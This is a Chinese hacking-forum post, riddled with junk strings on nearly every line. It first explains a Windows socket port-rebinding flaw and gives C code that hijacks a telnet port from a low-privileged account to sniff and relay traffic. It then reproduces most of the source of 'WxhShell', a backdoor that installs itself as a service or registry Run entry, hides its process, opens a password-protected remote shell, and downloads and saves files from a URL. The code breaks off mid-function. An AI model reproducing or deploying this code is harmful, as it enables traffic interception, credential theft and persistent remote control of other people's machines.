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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3[*x'"Q;H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &P pb2  
"=Xky,k  
  saddr.sin_family = AF_INET; '.gLqm}%  
)x& 4 Q=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xofxE4.  
pr w% )#,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HrK7qLw7  
+~n"@ /  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [wkSY>Gu  
q.:j yj6  
  这意味着什么?意味着可以进行如下的攻击: vp|.x |@  
uY;7&Lw y1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )u?^w  
cgV5{|P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c&"OhzzJK'  
ET\>cxSp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 werTwe2Q  
4p6\8eytq.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8+mu'RZ X  
W.sH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |_\q5?S  
oAt{ #v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {>h,@  
],|;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f\u5=!kjN  
19]O;  
  #include ` st^i$A  
  #include %) /Bl.{}<  
  #include 70F(`;  
  #include    ? 4v"y@v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k=  
  int main() GLiD,QX<  
  { R<Uu(-O-  
  WORD wVersionRequested; y.aeXlc[  
  DWORD ret; LL%s$>c65A  
  WSADATA wsaData; uB;PaZ G?{  
  BOOL val; SU7 erCHX  
  SOCKADDR_IN saddr; zbZN-j#  
  SOCKADDR_IN scaddr; fq(3uE]nC  
  int err; g0 k{b  
  SOCKET s; $h|8z  
  SOCKET sc; .2f0e[J  
  int caddsize;  q^Ui2  
  HANDLE mt; g{e@I;F  
  DWORD tid;   HV[*=Qi  
  wVersionRequested = MAKEWORD( 2, 2 ); czcsXBl[  
  err = WSAStartup( wVersionRequested, &wsaData ); 9xRor<  
  if ( err != 0 ) { jc7NYoT:  
  printf("error!WSAStartup failed!\n"); a=r^?q'/  
  return -1; ]]6  
  } }&Ul(HR  
  saddr.sin_family = AF_INET; JPM W|JT  
   Clmz}F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "ZR^w5  
P"s7}cl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nC@UK{tVa  
  saddr.sin_port = htons(23); YPmgR]=6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (i@B+c  
  { EMw biGV  
  printf("error!socket failed!\n"); fctVJ{?  
  return -1; IJ2>\bW_p  
  } f}:W1&LhI?  
  val = TRUE; \w=*:Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qM9> x:V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +8 }p-<a  
  { osPrr QoH  
  printf("error!setsockopt failed!\n"); %-O[%Dy  
  return -1; G]E-2 _t7  
  } MB"<^ZX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /rzZU}3[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e$4$G<8;y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kWxcB7)uk  
%R-KkK<S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) de q L  
  { p77  
  ret=GetLastError(); q/3 )yG6s  
  printf("error!bind failed!\n"); ~Aoo\fN_U  
  return -1; Ji;R{tZ.R  
  } 8+8P{_  
  listen(s,2); P3+?gW'  
  while(1) Qe4"a*l-r  
  { dL|*#e  
  caddsize = sizeof(scaddr); f1RX`rXf  
  //接受连接请求 JAS!eF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (E<QA  
  if(sc!=INVALID_SOCKET) /u pDbP.O  
  { :=2l1Y[-G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .*c%A^>  
  if(mt==NULL) l^4!  
  { la*c/*  
  printf("Thread Creat Failed!\n"); (nt=  
  break; q|xic>.  
  } {f[X)  
  } O;SD90  
  CloseHandle(mt); V"W)u#4,  
  } *S\/l-D  
  closesocket(s); :'K%&e?7s  
  WSACleanup(); t_{rKb,  
  return 0; B$&&'i%  
  }   #]e](j>]  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;`}b .S =n  
  { $ v~I n  
  SOCKET ss = (SOCKET)lpParam; #( o(p  
  SOCKET sc; [a\>"I\[  
  unsigned char buf[4096]; RtScv  
  SOCKADDR_IN saddr; BV512+M  
  long num; b(?A^ a  
  DWORD val; gs9VCaIa  
  DWORD ret; @1tv/W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A"no!AN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JTfG^Nv>K  
  saddr.sin_family = AF_INET; dx[kG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6dQ]=];  
  saddr.sin_port = htons(23); .+2@(r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cP &XkAQ  
  { YfUUbV  
  printf("error!socket failed!\n"); :Wmio\  
  return -1; [B"CNnA  
  } Q\{$&0McF  
  val = 100; a!*K)x,"<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i~;Yrc%AEX  
  { ~4C:2  
  ret = GetLastError(); bT#re  
  return -1; vGI?X#w3  
  } D?@e,e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @g==U{k;t  
  { _do(   
  ret = GetLastError(); <s(<ax30  
  return -1; ,]8$QFf  
  } h0n,WU/Kw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )Qixde>]p  
  { X)k+BJ  
  printf("error!socket connect failed!\n"); zx=AT  
  closesocket(sc); drEND`,@6|  
  closesocket(ss); Yn1CU  
  return -1; Sp^jC Xu  
  } DTp|he  
  while(1) 6n5>{X  
  { HA::(cXL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HT6+OK(~dJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 us3fBY'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pi?[jU[Tn  
  num = recv(ss,buf,4096,0); ,?ci+M)  
  if(num>0) z{ydP Ra  
  send(sc,buf,num,0); XbL\l  
  else if(num==0) /8tF7Mmr  
  break; Tv`-h  
  num = recv(sc,buf,4096,0); kr6^6I.  
  if(num>0) +oe%bk|A  
  send(ss,buf,num,0); 84UI)nE:Q  
  else if(num==0) a~"<lzu|$  
  break; _M9-n  
  } s2M|ni=  
  closesocket(ss); {rWFgn4Li  
  closesocket(sc); &0QtHcXpR  
  return 0 ; /ng +IC3  
  } Q ^z&;%q1  
a<ztA:xt|1  
+\@WOs  
========================================================== yHt `kb2  
O]N 8Q H  
下边附上一个代码,,WXhSHELL ~Y /55uC  
Vs~!\<?  
==========================================================  f]JLFg7  
! fSM6Vo  
#include "stdafx.h" %?~`'vYoi  
{'R\C5 :D7  
#include <stdio.h> Bh*7uNM  
#include <string.h> Lr}>Md  
#include <windows.h> (XJ0?;js=  
#include <winsock2.h> [!CIBK99  
#include <winsvc.h> ZJeTx.Gi6  
#include <urlmon.h> 0'O*Y ]h+  
.P>-Fh,_p  
#pragma comment (lib, "Ws2_32.lib") 1xF<c<  
#pragma comment (lib, "urlmon.lib") Z$&i"1{  
dJYQdo^X  
#define MAX_USER   100 // 最大客户端连接数 q*B(ZG  
#define BUF_SOCK   200 // sock buffer h.D*Y3=<  
#define KEY_BUFF   255 // 输入 buffer .ECT  
j,BiWgj$8  
#define REBOOT     0   // 重启 !;ipLC;e}  
#define SHUTDOWN   1   // 关机 T6=q[LpsKN  
aO]FQ#l2b  
#define DEF_PORT   5000 // 监听端口 {Y#$  
rS/}!|uAu  
#define REG_LEN     16   // 注册表键长度 @5y ~A}Vd  
#define SVC_LEN     80   // NT服务名长度 hJcN*2\:  
D%=FCmL5@=  
// 从dll定义API g<"k\qs7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e$+/;MRq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ON~K(O2g(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l{b*YUsz>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BvA09lK  
DHnu F@M  
// wxhshell配置信息 _[_mmf1;:'  
struct WSCFG { 3vK,vu q  
  int ws_port;         // 监听端口 c5e  wG  
  char ws_passstr[REG_LEN]; // 口令 ;[>g(W+  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6xsB#v*  
  char ws_regname[REG_LEN]; // 注册表键名 J&bhR9sF  
  char ws_svcname[REG_LEN]; // 服务名 }|Wn6X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I||4.YT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d#*n@@V4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4Ev#`i3~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t@1 bu$y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nC> 'kgRt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #lHA<jI  
yDdi+  
}; gE~]^B{  
mtQlm5l  
// default Wxhshell configuration %oY=.Ok ]  
struct WSCFG wscfg={DEF_PORT, Xzp!X({   
    "xuhuanlingzhe", Im*~6[  
    1, Zg#VZg1 2  
    "Wxhshell", h72#AN  
    "Wxhshell", PF4"J^V  
            "WxhShell Service", F:o<E 42  
    "Wrsky Windows CmdShell Service", (T]<  
    "Please Input Your Password: ", LAT%k2%Wx  
  1, 3?rYt:Uf!  
  "http://www.wrsky.com/wxhshell.exe",  #mDeA>b  
  "Wxhshell.exe" c ii]-%J}c  
    }; 7^|,l  
~&?{hd.  
// 消息定义模块 (,5,}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dY'mY~Tv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mx<? c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KS6H`Mm}/  
char *msg_ws_ext="\n\rExit."; UD@u hL  
char *msg_ws_end="\n\rQuit."; UFLN/  
char *msg_ws_boot="\n\rReboot..."; ;F:~HrxT}  
char *msg_ws_poff="\n\rShutdown..."; #kt3l59Ty  
char *msg_ws_down="\n\rSave to "; M_Qv{   
J0eJRs  
char *msg_ws_err="\n\rErr!"; ,GH;jw)P  
char *msg_ws_ok="\n\rOK!"; >){"x(4`  
/QeJ#EHn  
char ExeFile[MAX_PATH]; iO,_0Y4  
int nUser = 0; D@cv{ _M/  
HANDLE handles[MAX_USER]; O0Vtvbj  
int OsIsNt; c< P ML|e  
t'{\S_  
SERVICE_STATUS       serviceStatus; foOwJ}JU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x/pM.NZF1  
}bg_?o;X}  
// 函数声明 #cRw0bn:  
int Install(void); 7oK7f=*Q  
int Uninstall(void); lW!}OzE(m  
int DownloadFile(char *sURL, SOCKET wsh); )O~V3a  
int Boot(int flag); \z4I'"MC.9  
void HideProc(void); !7KSNwGu  
int GetOsVer(void); GkT:7`|C  
int Wxhshell(SOCKET wsl); .1&~@e%=-  
void TalkWithClient(void *cs); }zkMo ?  
int CmdShell(SOCKET sock); N4wv'OrL]  
int StartFromService(void); dcGs0b  
int StartWxhshell(LPSTR lpCmdLine); M^E\L C  
Hik :Sqpox  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7 q%|-`#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OZ /!= ;  
keBf^NY  
// 数据结构和表定义 X}/{90UD  
SERVICE_TABLE_ENTRY DispatchTable[] = r[TTG0|  
{ 7%E]E,f/#  
{wscfg.ws_svcname, NTServiceMain}, YR{%p Zp  
{NULL, NULL} ?y@RE  
}; .=nx5y z  
![{>$Q?5  
// 自我安装 @vC7j>*4B  
int Install(void) 45u\v2,C3  
{ k[6xuyY]  
  char svExeFile[MAX_PATH]; *r&q;ER  
  HKEY key; },d`<^~  
  strcpy(svExeFile,ExeFile); XU3v#Du  
c~1X/,biA  
// 如果是win9x系统,修改注册表设为自启动 nS53mLU)  
if(!OsIsNt) { c:R`]4o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dj~]]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y~</vz+H  
  RegCloseKey(key); QX'EMyK$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0x-58i0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "0nT:!BZ  
  RegCloseKey(key); *7ggw[~  
  return 0; Kf.G'v46  
    } |9;6Cp  
  } G9/5KW}-  
} /-.i=o]b  
else { PyS~2)=B  
4r&S&^  
// 如果是NT以上系统,安装为系统服务 KVvzVQ1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cNX0.7Ls  
if (schSCManager!=0) 33{(IzL0  
{ d=TZaVL$$  
  SC_HANDLE schService = CreateService x tJ_azt  
  ( %|3I|'%Y  
  schSCManager, Aj9Onz,Lg  
  wscfg.ws_svcname, : *~}\M*  
  wscfg.ws_svcdisp, ;}tEU'&  
  SERVICE_ALL_ACCESS, v[aFSXGj)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :DxCjv  
  SERVICE_AUTO_START, wQ7G_kVp  
  SERVICE_ERROR_NORMAL, J< E"ZoY  
  svExeFile, oPX `/ X#  
  NULL, AF=9KWqf  
  NULL, 3N'fHy  
  NULL, P~>E  
  NULL, HywT  
  NULL 98%M`WY  
  ); :N826_q  
  if (schService!=0) 6(Qr!<  
  { tj:Q]]\M  
  CloseServiceHandle(schService); b)SU8z!NV&  
  CloseServiceHandle(schSCManager); 8fn7!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PjH[8:,  
  strcat(svExeFile,wscfg.ws_svcname); PFqc_!Pm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "w)Y0Qq*z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tA?cHDp4E  
  RegCloseKey(key); hr T_0FZV  
  return 0; yU-^w^4  
    } |NbF3 fD  
  } "funFvY  
  CloseServiceHandle(schSCManager); !Od?69W, $  
} Qg7rkRia  
} oBA]qI  
H O^3v34ZO  
return 1; ~{#$`o=  
} P <$)v5f  
Wz}8O]#/.  
// 自我卸载 ];-DqK'  
int Uninstall(void) ~\4B 1n7  
{ aKLA_-E  
  HKEY key; Zy}Qc")Z  
D^?jLfW8  
if(!OsIsNt) { `m~x*)L#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cB;:}Q08#  
  RegDeleteValue(key,wscfg.ws_regname); 4@K9%  
  RegCloseKey(key); 6I$laHx?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $=x1_  
  RegDeleteValue(key,wscfg.ws_regname); 0Cox+QJt  
  RegCloseKey(key); K+0&~XU  
  return 0; YWV"I|Z  
  } U{IY F{;@  
} 2k }:)]m  
} ^4+ew>BLSv  
else { `5[$8;  
Q^&oXM'x/i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5wy1%/;  
if (schSCManager!=0) S~ dD;R  
{ KjrUTG0oA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #Ub"Ii  
  if (schService!=0) wD|3Czc  
  { *4i)aj  
  if(DeleteService(schService)!=0) { Zu4|1 W  
  CloseServiceHandle(schService); L|y4u;-Q  
  CloseServiceHandle(schSCManager); |WopsV %  
  return 0; pjC2jlwm*  
  } b7 pD#v  
  CloseServiceHandle(schService); X5@S LkJ-`  
  } >-2eZ(n)"  
  CloseServiceHandle(schSCManager); [79 eq=  
} (,5oqU9s@  
} Mp*S+Plp  
Wc}opp  
return 1; DFgr,~  
} b`NXe7A  
kOe %w-_  
// 从指定url下载文件 +d[A'&"  
int DownloadFile(char *sURL, SOCKET wsh) *]ROUk@K=  
{ z (N3oBW  
  HRESULT hr; QT1(= wK3  
char seps[]= "/"; ugtzF  
char *token; }Yi)r*LI3  
char *file; !]%M  
char myURL[MAX_PATH]; tSST.o3  
char myFILE[MAX_PATH]; C~do*rnM^  
G}o?lo\#h  
strcpy(myURL,sURL); L<kIzB !  
  token=strtok(myURL,seps); e&Z\hZBb  
  while(token!=NULL) T;cyU9  
  { Wq bfZx  
    file=token; g/)$-Z)Nu  
  token=strtok(NULL,seps); 59?@55  
  } -#=y   
.k{omr&Dy5  
GetCurrentDirectory(MAX_PATH,myFILE); |G2hm8 Y  
strcat(myFILE, "\\"); \JJ>y  
strcat(myFILE, file); "2>I?  
  send(wsh,myFILE,strlen(myFILE),0); 0jS"PH?[  
send(wsh,"...",3,0); ]r #YU0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); - nWs@\  
  if(hr==S_OK) :NB,Dz+i  
return 0; }E01B_T9z  
else XA cpLj]  
return 1; U=?hT&w\S  
UbBo#(TZ)  
} GVFR^pzO  
)$V&Nf  
// 系统电源模块 )+^1QL  
int Boot(int flag) q<Zdf  
{ ;5wmQFr  
  HANDLE hToken; `w_?9^7mH  
  TOKEN_PRIVILEGES tkp;  &cjE+  
=)56]ki}  
  if(OsIsNt) { sUaUZO2V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -29 Sw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o8 A]vaa  
    tkp.PrivilegeCount = 1; oDyrf"dl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -rU~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ryz [A:^G  
if(flag==REBOOT) { #z|\AmZ\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~[@Gj{6p0  
  return 0; bYr;~ ^  
} e=11EmN9  
else { ];bl;BP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dg%Orvuz  
  return 0; oB9t&yM  
} d^"dL" Q6m  
  } wi#]*\N\9  
  else { -*[?E!F  
if(flag==REBOOT) { =AFTB<7-^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +/A`\9QT  
  return 0; E"ju<q/Q  
} 9/lCW  
else { UWdPB2x[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @PXb^x#k  
  return 0; G)(\!0pNZ  
} H'Mc]zw_,  
} zj!&12w%3  
$#4J^(I*:  
return 1; 5XO eYO{  
} ,"U8Fgf[r  
!/4f/g4Ze  
// win9x进程隐藏模块 ?Rc+H;x=f  
void HideProc(void) Wsn}Y-x  
{ RP]hW{:U  
1vcI`8%S+u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kt WG2  
  if ( hKernel != NULL ) ]w _,0q  
  { 1Aq*|JSk(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )7mX]@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y(pHt  
    FreeLibrary(hKernel); Ol>"'  
  } [\o+I:,}wi  
lFWN [`H  
return; q% Eze  
} |Rr^K5hmD  
?Gq'r2V  
// 获取操作系统版本 CIt>D'/YT  
int GetOsVer(void) Rd5ni2-nve  
{ %0]vW;Q5  
  OSVERSIONINFO winfo; W)"PYC4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^(ks^<}  
  GetVersionEx(&winfo); VjU;[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $9znRTFEj  
  return 1; )!1; =   
  else J@ x%TA  
  return 0; _C9*M6IU  
} KlgPDV9mg  
e&dE>m  
// 客户端句柄模块 QN[-XQ>Xt  
int Wxhshell(SOCKET wsl) )hH9VGZq(  
{ GyV3]Qqj  
  SOCKET wsh; !F0MLvdX7^  
  struct sockaddr_in client; g-=)RIwm  
  DWORD myID; tt=?*n  
H'myd=*h~8  
  while(nUser<MAX_USER) GS|sx  
{ T`g.K6$b  
  int nSize=sizeof(client); r3o_mO?X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L&1VPli  
  if(wsh==INVALID_SOCKET) return 1; (~/VP3.S  
NiU}A$U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _S:6;_bz  
if(handles[nUser]==0) gWp\?La  
  closesocket(wsh); z`-?5-a]I  
else X{rw+!  
  nUser++; q!#e2Dx  
  } vjG: 1|*e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sf>R7.lpP  
?PNG@OK  
  return 0; !Gu,X'#Ab  
} -If-c'"G  
`fEB,0j^  
// 关闭 socket &x{CC@g/  
void CloseIt(SOCKET wsh) nu,#y"WQ  
{ ./@!k[  
closesocket(wsh); #n^P[Zw  
nUser--; -bHQy:  
ExitThread(0); YmM+x=G:  
} VOBzB]  
u7>b}+ak&  
// 客户端请求句柄 @sly-2{e1  
void TalkWithClient(void *cs) D'aq^T'  
{ ~LPxVYhK  
P  F!S  
  SOCKET wsh=(SOCKET)cs; #Ag-?k  
  char pwd[SVC_LEN]; .$+]N[-=  
  char cmd[KEY_BUFF]; ZCi~4&Z#  
char chr[1]; I]P'wav~O  
int i,j; E6n3[Z  
kVs'>H@FY  
  while (nUser < MAX_USER) { =>Y b~r71  
&LE,.Q34  
if(wscfg.ws_passstr) { Zam.g>{]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^yH!IRRAq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PL/as3O^A  
  //ZeroMemory(pwd,KEY_BUFF); .Gv9RKgd~  
      i=0; E"5 z T1d  
  while(i<SVC_LEN) { #q1Qa_LXc  
0es[!  
  // 设置超时 X3#/|>  
  fd_set FdRead; k"|4 LPv[  
  struct timeval TimeOut; FjIS:9^)t5  
  FD_ZERO(&FdRead); Z~{0XG\Y  
  FD_SET(wsh,&FdRead); *vFVXJo  
  TimeOut.tv_sec=8; a'w~7y!}  
  TimeOut.tv_usec=0; R6HMi#eF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I%^Ks$<"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^"\ jIP  
vz:P 2TkM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m "\jEfjO  
  pwd=chr[0]; > 4ex:Z  
  if(chr[0]==0xd || chr[0]==0xa) { b7g\wnV8z  
  pwd=0; yfeX=h  
  break; )n 1b  
  } Ddde, WJA  
  i++; ~H/|J^ J  
    } oK&LYlU  
j <>|Hi #`  
  // 如果是非法用户,关闭 socket ^,')1r,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 24"Trg\WK[  
} tLe!_p)  
Q=J"#EFs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f7 V36Q8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZzLmsTtzIu  
$8o(_8Q)  
while(1) { L+Yn}"gIs  
]kq{9b';  
  ZeroMemory(cmd,KEY_BUFF); a'f"Zdh%w  
. $uvQpyh  
      // 自动支持客户端 telnet标准   o^;$-O!/  
  j=0; 6H67$?jMyJ  
  while(j<KEY_BUFF) { ^Bn)a"Gd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $.kP7!`:,  
  cmd[j]=chr[0]; yC !`6$  
  if(chr[0]==0xa || chr[0]==0xd) { wXp A1,i  
  cmd[j]=0; '/U[ ui0{  
  break; ~n%~ Z|mMF  
  } xaSvjc\  
  j++; <y=VDb/  
    } `,d*>  
X=_pQ+j`^  
  // 下载文件 wEENN_w  
  if(strstr(cmd,"http://")) { 02:]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A,i.1U"w8  
  if(DownloadFile(cmd,wsh)) "Wr5:T-;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c4ptY5R),  
  else q}>1Rr|U`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?D-1xnxep  
  } duB{ 1  
  else { BJ!b LQ  
o9ZHa  
    switch(cmd[0]) { GVk&n"9kp  
  :@)UI,  
  // 帮助 SA&0f&07i  
  case '?': { F>Rz}-Fy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); km2('t7?  
    break; ;LE4U OK  
  } } r$&"wYM  
  // 安装 q65KxOf`  
  case 'i': { aAZS^S4v  
    if(Install()) r=P)iE:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l T~RH0L  
    else r2}u\U4>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =; Gw=m(  
    break; 9Z]~c^UB  
    } o&P}GcEIw  
  // 卸载 $&/JY  
  case 'r': { n/#zx:d?  
    if(Uninstall()) 3ny>5A!;2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Oc^LV$6  
    else JP`$A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t-Rfy`I3  
    break; D7|[:``  
    }  (n+2z"/  
  // 显示 wxhshell 所在路径 OJiW@Z_\  
  case 'p': { RY'f%c  
    char svExeFile[MAX_PATH]; .gTla  
    strcpy(svExeFile,"\n\r"); Hs/ aU_  
      strcat(svExeFile,ExeFile); lo*OmAF  
        send(wsh,svExeFile,strlen(svExeFile),0); \7PPFKS  
    break; Q\Dx/?g!vx  
    } r!SMF ]?SJ  
  // 重启 2g~qVT,  
  case 'b': { RUqN,C,m5I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pSp/Qpb-B  
    if(Boot(REBOOT)) DhZuQpH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G n"]<8yl~  
    else { Ix@rn  
    closesocket(wsh); /5A um ?~  
    ExitThread(0); nVkx Q?2  
    } 0JzH dz  
    break; I^"ou M9}Q  
    } /aS=vjs  
  // 关机 /ivcqVu]  
  case 'd': {  m=D2|WA8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yO*~)ALb+  
